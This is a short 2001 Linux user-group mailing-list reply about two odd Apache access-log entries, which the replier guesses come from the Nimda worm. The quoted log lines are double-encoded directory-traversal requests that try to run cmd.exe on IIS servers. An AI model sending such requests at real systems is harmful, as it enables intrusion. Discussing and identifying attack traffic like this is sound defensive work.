Re: [SLUG] repost: linux httpfacces.log

From: Paul M Foster (paulf@quillandmouse.com)
Date: Wed Oct 31 2001 - 21:53:52 EST

On Wed, Oct 31, 2001 at 09:29:31PM -0500, Patrick Grantham wrote:

> here's an entry I have not seen before:
> 24.95.191.93 - - [31/Oct/2001:11:33:36 -0500] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 332
> 24.95.191.93 - - [31/Oct/2001:11:33:36 -0500] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 332
>
>
> what do you make of this?
>

Nimda?

Paul

This archive was generated by hypermail 2.1.3 : Fri Aug 01 2014 - 16:07:02 EDT